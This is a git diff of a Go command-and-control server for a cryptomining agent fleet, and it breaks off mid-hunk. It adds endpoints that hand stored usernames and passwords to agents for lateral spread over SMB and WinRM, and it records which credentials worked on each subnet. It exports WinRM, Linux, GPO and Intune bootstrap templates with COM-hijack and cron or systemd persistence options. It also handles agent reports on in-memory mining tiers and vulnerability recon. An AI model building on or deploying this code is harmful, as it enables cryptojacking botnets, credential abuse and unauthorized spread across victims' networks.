b/server/internal/api/spread_cred.go new file mode 100644 index 0000000..03785f0 --- /dev/null +++ b/server/internal/api/spread_cred.go @@ -0,0 +1,198 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + + dbpkg "crypto-miner-server/internal/db" +) + +// DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets). +type DeploymentCredProfile struct { + ID string `json:"id"` + Label string `json:"label"` + Username string `json:"username"` + VaultRef string `json:"vault_ref,omitempty"` +} + +// SpreadCredProvider supplies authorized deployment credential profiles and vault secrets. +type SpreadCredProvider interface { + DeploymentProfiles() []DeploymentCredProfile + OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile + LoadProfileSecret(profileID string) (username, password string, err error) +} + +type spreadCredIssueRequest struct { + AgentID string `json:"agent_id"` + Host string `json:"host"` + Subnet string `json:"subnet"` + Method string `json:"method"` +} + +type spreadCredRedeemRequest struct { + Token string `json:"token"` +} + +type spreadCredReportRequest struct { + AgentID string `json:"agent_id"` + Host string `json:"host"` + Subnet string `json:"subnet"` + CredentialProfileID string `json:"credential_profile_id"` + Method string `json:"method"` + Success bool `json:"success"` +} + +// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges. +type SpreadCredHandler struct { + db *dbpkg.Database + provider SpreadCredProvider +} + +func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler { + return &SpreadCredHandler{db: database, provider: provider} +} + +// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph) +func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) { + rows, err := h.db.ListCredGraphBySubnet() + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if rows == nil { + rows = []dbpkg.CredGraphSubnetRow{} + } + writeJSON(w, map[string]interface{}{"subnets": rows}) +} + +// GET /api/v1/spread/service-graph?agent_id=&subnet= +func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) { + agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) + subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet"))) + + services := []ServiceGraphEntry{} + if h.wsHub != nil { + services = h.wsHub.QueryServiceGraph(agentID, subnet) + } + resp := map[string]interface{}{"services": services} + if agentID != "" { + resp["agent_id"] = agentID + } + if subnet != "" { + resp["subnet"] = subnet + } + writeJSON(w, resp) +} + +func normalizeSubnetLabel(subnet string) string { + subnet = strings.TrimSpace(subnet) + if strings.HasSuffix(subnet, ".x") { + return strings.TrimSuffix(subnet, ".x") + } + return subnet +} + +// POST /api/v1/agent/spread-cred/issue +func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) { + if h.provider == nil { + http.Error(w, "deployment credentials not configured", http.StatusNotFound) + return + } + var req spreadCredIssueRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + req.Subnet = strings.TrimSpace(req.Subnet) + req.Method = strings.TrimSpace(req.Method) + req.AgentID = strings.TrimSpace(req.AgentID) + if req.Host == "" || req.Subnet == "" || req.Method == "" { + http.Error(w, "host, subnet, and method required", http.StatusBadRequest) + return + } + + affinity, err := h.db.ListCredProfileAffinity(req.Subnet) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity) + if len(ordered) == 0 { + http.Error(w, "no deployment credential profiles configured", http.StatusNotFound) + return + } + + profile := ordered[0] + username, password, err := h.provider.LoadProfileSecret(profile.ID) + if err != nil { + http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable) + return + } + + token := issueSpreadCredToken(spreadCredTokenEntry{ + AgentID: req.AgentID, + ProfileID: profile.ID, + Username: username, + Password: password, + Host: req.Host, + Subnet: req.Subnet, + Method: req.Method, + }) + writeJSON(w, map[string]interface{}{ + "token": token, + "profile_id": profile.ID, + "expires_in": int(spreadCredTokenTTL.Seconds()), + }) +} + +// POST /api/v1/agent/spread-cred/redeem +func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) { + var req spreadCredRedeemRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Token = strings.TrimSpace(req.Token) + if req.Token == "" { + http.Error(w, "token required", http.StatusBadRequest) + return + } + entry, ok := consumeSpreadCredToken(req.Token) + if !ok { + http.Error(w, "invalid or expired token", http.StatusUnauthorized) + return + } + writeJSON(w, map[string]interface{}{ + "profile_id": entry.ProfileID, + "username": entry.Username, + "password": entry.Password, + "host": entry.Host, + "subnet": entry.Subnet, + "method": entry.Method, + }) +} + +// POST /api/v1/agent/spread-cred/report +func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) { + var req spreadCredReportRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + req.Subnet = strings.TrimSpace(req.Subnet) + req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID) + req.Method = strings.TrimSpace(req.Method) + req.AgentID = strings.TrimSpace(req.AgentID) + if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" { + http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest) + return + } + if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"ok": true}) +} diff --git a/server/internal/api/spread_cred_test.go b/server/internal/api/spread_cred_test.go new file mode 100644 index 0000000..3479cc7 --- /dev/null +++ b/server/internal/api/spread_cred_test.go @@ -0,0 +1,171 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + dbpkg "crypto-miner-server/internal/db" +) + +type stubSpreadCredProvider struct { + profiles []DeploymentCredProfile + ordered []DeploymentCredProfile + username string + password string +} + +func (s *stubSpreadCredProvider) DeploymentProfiles() []DeploymentCredProfile { + return s.profiles +} + +func (s *stubSpreadCredProvider) OrderProfilesForSubnet(_ string, _ []dbpkg.CredProfileAffinity) []DeploymentCredProfile { + if len(s.ordered) > 0 { + return s.ordered + } + return s.profiles +} + +func (s *stubSpreadCredProvider) LoadProfileSecret(_ string) (string, string, error) { + return s.username, s.password, nil +} + +func TestSpreadCredAffinityIssuePicksWinner(t *testing.T) { + d, err := dbpkg.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + if err := d.InsertCredEdge("10.0.0.20", "10.0.0", "profile-b", "smb_scm", "agent-x", true); err != nil { + t.Fatal(err) + } + + provider := &stubSpreadCredProvider{ + profiles: []DeploymentCredProfile{ + {ID: "profile-a", Label: "A", Username: "lab\\a"}, + {ID: "profile-b", Label: "B", Username: "lab\\b"}, + }, + ordered: []DeploymentCredProfile{{ID: "profile-b", Label: "B", Username: "lab\\b"}}, + username: "lab\\b", + password: "secret-pass", + } + h := NewSpreadCredHandler(d, provider) + + body, _ := json.Marshal(map[string]string{ + "agent_id": "agent-1", + "host": "10.0.0.55", + "subnet": "10.0.0", + "method": "smb_scm", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/issue", bytes.NewReader(body)) + rec := httptest.NewRecorder() + h.IssueToken(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("issue status %d: %s", rec.Code, rec.Body.String()) + } + var issued struct { + Token string `json:"token"` + ProfileID string `json:"profile_id"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &issued); err != nil { + t.Fatal(err) + } + if issued.ProfileID != "profile-b" || issued.Token == "" { + t.Fatalf("unexpected issue payload: %#v", issued) + } + + redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token}) + redeemReq := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody)) + redeemRec := httptest.NewRecorder() + h.RedeemToken(redeemRec, redeemReq) + if redeemRec.Code != http.StatusOK { + t.Fatalf("redeem status %d: %s", redeemRec.Code, redeemRec.Body.String()) + } + redeemBody2, _ := json.Marshal(map[string]string{"token": issued.Token}) + redeemReq2 := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody2)) + redeemAgain := httptest.NewRecorder() + h.RedeemToken(redeemAgain, redeemReq2) + if redeemAgain.Code != http.StatusUnauthorized { + t.Fatalf("expected one-time token, got %d", redeemAgain.Code) + } +} + +func TestSpreadCredReportAndCredGraph(t *testing.T) { + dataDir := t.TempDir() + d, err := dbpkg.New(dataDir) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + provider := &stubSpreadCredProvider{} + h := NewSpreadCredHandler(d, provider) + spreadH := NewSpreadHandler(d, dataDir, t.TempDir(), nil) + + reportBody, _ := json.Marshal(map[string]interface{}{ + "agent_id": "agent-9", + "host": "10.1.1.10", + "subnet": "10.1.1", + "credential_profile_id": "profile-z", + "method": "winrm_encoded", + "success": true, + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/report", bytes.NewReader(reportBody)) + rec := httptest.NewRecorder() + h.ReportEdge(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("report status %d: %s", rec.Code, rec.Body.String()) + } + + for _, path := range []string{"/api/v1/spread/credential-graph", "/api/v1/emberwake/cred-graph"} { + graphReq := httptest.NewRequest(http.MethodGet, path, nil) + graphRec := httptest.NewRecorder() + spreadH.GetCredGraph(graphRec, graphReq) + if graphRec.Code != http.StatusOK { + t.Fatalf("%s graph status %d: %s", path, graphRec.Code, graphRec.Body.String()) + } + var graph struct { + Subnets []struct { + Subnet string `json:"subnet"` + Edges int `json:"edges"` + SuccessCount int `json:"success_count"` + FailCount int `json:"fail_count"` + } `json:"subnets"` + } + if err := json.Unmarshal(graphRec.Body.Bytes(), &graph); err != nil { + t.Fatal(err) + } + if len(graph.Subnets) != 1 || graph.Subnets[0].Subnet != "10.1.1" || graph.Subnets[0].Edges != 1 { + t.Fatalf("%s unexpected graph: %#v", path, graph.Subnets) + } + } +} + +func TestSpreadServiceGraphFromCache(t *testing.T) { + hub := NewWSHub(nil) + spreadH := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), hub) + + fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","status":"running"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","status":"open"}]}]}` + hub.cacheServiceDiscover("agent-svc", fixture) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/service-graph?agent_id=agent-svc&subnet=10.1.2.x", nil) + rec := httptest.NewRecorder() + spreadH.GetServiceGraph(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("service graph status %d: %s", rec.Code, rec.Body.String()) + } + var resp struct { + AgentID string `json:"agent_id"` + Subnet string `json:"subnet"` + Services []ServiceGraphEntry `json:"services"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if resp.AgentID != "agent-svc" || resp.Subnet != "10.1.2" || len(resp.Services) != 2 { + t.Fatalf("unexpected service graph: %#v", resp) + } +} + diff --git a/server/internal/api/spread_cred_token.go b/server/internal/api/spread_cred_token.go new file mode 100644 index 0000000..3e67813 --- /dev/null +++ b/server/internal/api/spread_cred_token.go @@ -0,0 +1,60 @@ +package api + +import ( + "crypto/rand" + "encoding/hex" + "sync" + "time" +) + +const spreadCredTokenTTL = 90 * time.Second + +type spreadCredTokenEntry struct { + AgentID string + ProfileID string + Username string + Password string + Host string + Subnet string + Method string + ExpiresAt time.Time +} + +var ( + spreadCredTokenMu sync.Mutex + spreadCredTokens = map[string]spreadCredTokenEntry{} +) + +func issueSpreadCredToken(entry spreadCredTokenEntry) string { + b := make([]byte, 24) + _, _ = rand.Read(b) + token := hex.EncodeToString(b) + entry.ExpiresAt = time.Now().Add(spreadCredTokenTTL) + + spreadCredTokenMu.Lock() + spreadCredTokens[token] = entry + if len(spreadCredTokens) > 1024 { + now := time.Now() + for k, v := range spreadCredTokens { + if now.After(v.ExpiresAt) { + delete(spreadCredTokens, k) + } + } + } + spreadCredTokenMu.Unlock() + return token +} + +func consumeSpreadCredToken(token string) (spreadCredTokenEntry, bool) { + spreadCredTokenMu.Lock() + defer spreadCredTokenMu.Unlock() + entry, ok := spreadCredTokens[token] + if !ok || time.Now().After(entry.ExpiresAt) { + if ok { + delete(spreadCredTokens, token) + } + return spreadCredTokenEntry{}, false + } + delete(spreadCredTokens, token) + return entry, true +} diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go index 9603078..24857b9 100644 --- a/server/internal/api/spread_handler.go +++ b/server/internal/api/spread_handler.go @@ -2,6 +2,7 @@ package api import ( "encoding/json" + "fmt" "net/http" "os" "path/filepath" @@ -139,6 +140,16 @@ type npmHelperExportRequest struct { Campaign string `json:"campaign"` } +type spreadTemplateExportRequest struct { + Template string `json:"template"` // winrm | linux-lotl | gpo | intune + ServerURL string `json:"server_url"` + BuildID string `json:"build_id"` + Campaign string `json:"campaign"` + COMHijack bool `json:"com_hijack"` + LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off + AgentPath string `json:"agent_path"` +} + // POST /api/v1/builder/spread-kit-export func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) { var req spreadKitExportRequest @@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data) } +// POST /api/v1/builder/spread-template-export +func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) { + var req spreadTemplateExportRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Template = strings.TrimSpace(strings.ToLower(req.Template)) + req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") + req.BuildID = strings.TrimSpace(req.BuildID) + req.Campaign = strings.TrimSpace(req.Campaign) + req.LOTLMode = strings.TrimSpace(req.LOTLMode) + req.AgentPath = strings.TrimSpace(req.AgentPath) + if req.ServerURL == "" { + http.Error(w, "server_url required", http.StatusBadRequest) + return + } + if req.Template == "" { + http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest) + return + } + + subdir, filename, err := spreadTemplatePaths(req.Template) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir) + if _, err := os.Stat(templateDir); err != nil { + http.Error(w, "spread template not found: "+subdir, http.StatusNotFound) + return + } + + querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign) + comHijack := "false" + if req.COMHijack { + comHijack = "true" + } + lotlMode := req.LOTLMode + if lotlMode == "" { + lotlMode = "systemd_run_user" + } + agentPath := req.AgentPath + if agentPath == "" { + agentPath = `C:\ProgramData\AetherForge\worker.exe` + } + + repl := map[string]string{ + "{{SERVER_URL}}": req.ServerURL, + "{{BUILD_ID}}": req.BuildID, + "{{CAMPAIGN}}": req.Campaign, + "{{QUERY_SUFFIX}}": querySuffix, + "{{GET_QUERY_SUFFIX}}": getQuerySuffix, + "{{COM_HIJACK}}": comHijack, + "{{LOTL_MODE}}": lotlMode, + "{{AGENT_PATH}}": agentPath, + } + + data, err := zipTemplateReplacements(templateDir, repl, nil) + if err != nil { + http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) + return + } + writeZipAttachment(w, filename, data) +} + +func spreadTemplatePaths(template string) (subdir, zipName string, err error) { + switch template { + case "winrm": + return "winrm", "aetherforge-winrm-bootstrap.zip", nil + case "linux-lotl", "linux_lotl": + return "linux", "aetherforge-linux-lotl.zip", nil + case "gpo", "enterprise-gpo": + return "enterprise", "aetherforge-gpo-startup.zip", nil + case "intune", "enterprise-intune": + return "enterprise", "aetherforge-intune-startup.zip", nil + default: + return "", "", fmt.Errorf("unknown template %q", template) + } +} + // PUT /api/v1/builds/{id}/public func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") diff --git a/server/internal/api/spread_handler_test.go b/server/internal/api/spread_handler_test.go index 5eb98b0..490ec82 100644 --- a/server/internal/api/spread_handler_test.go +++ b/server/internal/api/spread_handler_test.go @@ -44,6 +44,30 @@ func writeSpreadTemplates(t *testing.T, root string) { if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("{{SERVER_URL}}{{QUERY_SUFFIX}}"), 0644); err != nil { t.Fatal(err) } + + winrmDir := filepath.Join(root, "templates", "spread", "winrm") + if err := os.MkdirAll(winrmDir, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil { + t.Fatal(err) + } + + linuxDir := filepath.Join(root, "templates", "spread", "linux") + if err := os.MkdirAll(linuxDir, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil { + t.Fatal(err) + } + + entDir := filepath.Join(root, "templates", "spread", "enterprise") + if err := os.MkdirAll(entDir, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil { + t.Fatal(err) + } } func readZipEntries(t *testing.T, body []byte) map[string]string { @@ -155,6 +179,47 @@ func TestExportSpreadKitZIP(t *testing.T) { } } +func TestExportSpreadTemplateZIP(t *testing.T) { + root := t.TempDir() + writeSpreadTemplates(t, root) + h := NewSpreadHandler(nil, t.TempDir(), root, nil) + + body, _ := json.Marshal(map[string]interface{}{ + "template": "winrm", + "server_url": "https://deck.example", + "build_id": "pin-9", + "campaign": "winrm-lab", + "com_hijack": true, + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) + rec := httptest.NewRecorder() + h.ExportSpreadTemplate(rec, req) + + if rec.Code != http.StatusOK { + t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) + } + entries := readZipEntries(t, rec.Body.Bytes()) + if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") { + t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"]) + } + if !strings.Contains(entries["bootstrap.ps1"], "COM=true") { + t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"]) + } +} + +func TestExportSpreadTemplateRequiresTemplate(t *testing.T) { + root := t.TempDir() + writeSpreadTemplates(t, root) + h := NewSpreadHandler(nil, t.TempDir(), root, nil) + body, _ := json.Marshal(map[string]string{"server_url": "https://x"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) + rec := httptest.NewRecorder() + h.ExportSpreadTemplate(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("status %d", rec.Code) + } +} + func TestExportWordPressPluginRequiresSiteName(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) diff --git a/server/internal/api/vuln_handler.go b/server/internal/api/vuln_handler.go new file mode 100644 index 0000000..f93124e --- /dev/null +++ b/server/internal/api/vuln_handler.go @@ -0,0 +1,37 @@ +package api + +import ( + "net/http" + "sync" + "time" + + "crypto-miner-server/internal/vuln" +) + +// VulnHandler serves cached CVE catalog JSON for fleet assessment UI. +type VulnHandler struct { + mu sync.RWMutex + cachedAt time.Time +} + +func NewVulnHandler() *VulnHandler { + return &VulnHandler{cachedAt: time.Now()} +} + +// Catalog returns embedded lightweight CVE correlator rules (cached 1h). +func (h *VulnHandler) Catalog(w http.ResponseWriter, r *http.Request) { + h.mu.RLock() + stale := time.Since(h.cachedAt) > time.Hour + h.mu.RUnlock() + if stale { + h.mu.Lock() + h.cachedAt = time.Now() + h.mu.Unlock() + } + writeJSON(w, map[string]interface{}{ + "catalog": vuln.EmbeddedCatalog, + "cached_at": h.cachedAt.UTC().Format(time.RFC3339), + "source": "embedded", + "authorized": true, + }) +} diff --git a/server/internal/api/vuln_handler_test.go b/server/internal/api/vuln_handler_test.go new file mode 100644 index 0000000..288b4f6 --- /dev/null +++ b/server/internal/api/vuln_handler_test.go @@ -0,0 +1,30 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" +) + +func TestVulnCatalogEndpoint(t *testing.T) { + h := NewVulnHandler() + req := httptest.NewRequest(http.MethodGet, "/api/v1/vuln/catalog", nil) + w := httptest.NewRecorder() + h.Catalog(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status %d", w.Code) + } + var body struct { + Catalog []struct { + ID string `json:"id"` + } `json:"catalog"` + Source string `json:"source"` + } + if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body.Source != "embedded" || len(body.Catalog) < 10 { + t.Fatalf("unexpected catalog response: %+v", body) + } +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index fb342b1..5282afe 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -17,6 +17,7 @@ import ( "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" + "crypto-miner-server/internal/vuln" "github.com/google/uuid" "github.com/gorilla/websocket" @@ -151,6 +152,8 @@ type WSHub struct { agentLogs map[string]string // T1016 DNS drift detection — stores last seen resolver list per agent agentDNS map[string][]string + // Latest service_discover payloads keyed by agent ID (Crucible service graph). + agentServiceDiscover map[string]cachedServiceDiscover serverPolicy ServerPolicy pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect @@ -168,6 +171,11 @@ type WSHub struct { beaconLastSeen map[string]time.Time beaconCmdQueue map[string][]BeaconCommand beaconPolicyQueue map[string][]FleetAgentPolicy + + // Coalesce per-agent stats_update into a single stats_batch frame per tick. + statsBatchMu sync.Mutex + statsBatch map[string]json.RawMessage + statsBatchTimer *time.Timer } func NewWSHub(database *db.Database) *WSHub { @@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub { agentConfigs: make(map[string]AgentForgeConfig), agentCapabilities: make(map[string]models.AgentCapabilities), agentLogs: make(map[string]string), - agentDNS: make(map[string][]string), + agentDNS: make(map[string][]string), + agentServiceDiscover: make(map[string]cachedServiceDiscover), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), @@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { USBSpread bool `json:"usb_spread"` Campaign string `json:"campaign"` UTM string `json:"utm"` + LotlPolicyFromServer bool `json:"lotl_policy_from_server"` + JoinLane string `json:"join_lane,omitempty"` } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ @@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { WorkerName: workerName, USBSpread: auth.USBSpread, Campaign: coalesceStr(auth.Campaign, auth.UTM), + JoinLane: strings.TrimSpace(auth.JoinLane), Capabilities: &caps, } @@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { go h.runPingLoopAgent(ac) } - conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ - "success": true, - "agent_id": agentID, - })}) + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} { + resp := map[string]interface{}{ + "success": true, + "agent_id": agentID, + } + if auth.LotlPolicyFromServer { + tiers := policy.LotlOnionTiers + if len(tiers) == 0 { + tiers = []string{ + "vuln_recon", + "docker", "wsl", "powershell", "dotnet", "bits_curl", + "smb", "winrm", "linux", "gpo", + } + } + resp["lotl_onion_tiers"] = tiers + } + mp := policy.MiningTierPolicy + if len(mp.TierOrder) == 0 { + mp.TierOrder = []string{ + "exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory", + "cpu_inprocess", "gpu_subprocess", "stratum_direct", + } + } + resp["mining_tier_policy"] = mp + top := policy.TripleOnionPolicy + if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 && + !top.MineIsolatedTier && !top.SkipMiningOnHighRisk { + top.PatchFirst = true + top.HighRiskThreshold = 50 + top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"} + top.DeployLanes = []string{ + "discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm", + } + } + resp["triple_onion_policy"] = top + return resp + }())}) // Auto-start mining: ensure the agent isn't stuck in a paused // state from a previous session. The agent's in-memory pause flag @@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Status string `json:"status"` StartType string `json:"start_type"` } `json:"services,omitempty"` + // Mining fallback cascade + ActiveMethod string `json:"active_method,omitempty"` + MiningLastError string `json:"last_error,omitempty"` + StratumOverlay bool `json:"stratum_overlay,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + ChainOrder []string `json:"chain_order,omitempty"` + FailedMethods []struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` + } `json:"failed_methods,omitempty"` + // Fleet health mining telemetry (coalesced into stats_batch) + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + LOTLTier string `json:"lotl_tier,omitempty"` + LOTLAttempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + } `json:"lotl_attempts,omitempty"` + StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none + JoinLane string `json:"join_lane,omitempty"` + NetworkHints json.RawMessage `json:"network_hints,omitempty"` + VulnFindings []struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` + } `json:"vuln_findings,omitempty"` + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` } if err := json.Unmarshal(msg.Payload, &stats); err != nil { continue @@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if len(stats.Services) > 0 { broadcast["services"] = stats.Services } + if stats.ActiveMethod != "" { + broadcast["active_method"] = stats.ActiveMethod + } + if stats.MiningLastError != "" { + broadcast["last_error"] = stats.MiningLastError + } + if stats.StratumOverlay { + broadcast["stratum_overlay"] = true + } + if stats.ChainExhausted { + broadcast["chain_exhausted"] = true + } + if len(stats.ChainOrder) > 0 { + broadcast["chain_order"] = stats.ChainOrder + } + if len(stats.FailedMethods) > 0 { + broadcast["failed_methods"] = stats.FailedMethods + } + if stats.MiningHashrate > 0 { + broadcast["mining_hashrate"] = stats.MiningHashrate + } + if stats.LOTLTier != "" { + broadcast["lotl_tier"] = stats.LOTLTier + } + if len(stats.LOTLAttempts) > 0 { + broadcast["lotl_attempts"] = stats.LOTLAttempts + } + if stats.StratumEgress != "" { + broadcast["stratum_egress"] = stats.StratumEgress + } + if stats.JoinLane != "" { + broadcast["join_lane"] = stats.JoinLane + } + if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" { + var hints interface{} + if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil { + broadcast["network_hints"] = hints + } + } + if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil { + findings := make([]vuln.Finding, len(stats.VulnFindings)) + for i, f := range stats.VulnFindings { + findings[i] = vuln.Finding{ + CVEID: f.CVEID, Severity: f.Severity, Component: f.Component, + Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext, + Detail: f.Detail, + } + } + fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable} + if stats.ListenPortCount != nil { + fctx.ListenPortCount = *stats.ListenPortCount + } + findings = vuln.EnrichFindings(findings, fctx) + score := vuln.RiskScore(findings) + if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score { + score = *stats.VulnRiskScore + } + broadcast["vuln_findings"] = findings + broadcast["vuln_risk_score"] = score + } // Attach latest RTT latency from the ping loop. if ac := h.getAgentConn(agentID); ac != nil { ac.latencyMu.Lock() @@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } ac.latencyMu.Unlock() } - h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) + h.queueStatsBroadcast(broadcast) case "submit_share": if agentID == "" { @@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { payload["agent_id"] = agentID h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)}) + case "mining_fallback", "mining_status", "tier_report": + if agentID == "" { + continue + } + var payload map[string]interface{} + if err := json.Unmarshal(msg.Payload, &payload); err != nil { + continue + } + payload["agent_id"] = agentID + h.queueStatsBroadcast(payload) + case "command_result": if agentID == "" { continue @@ 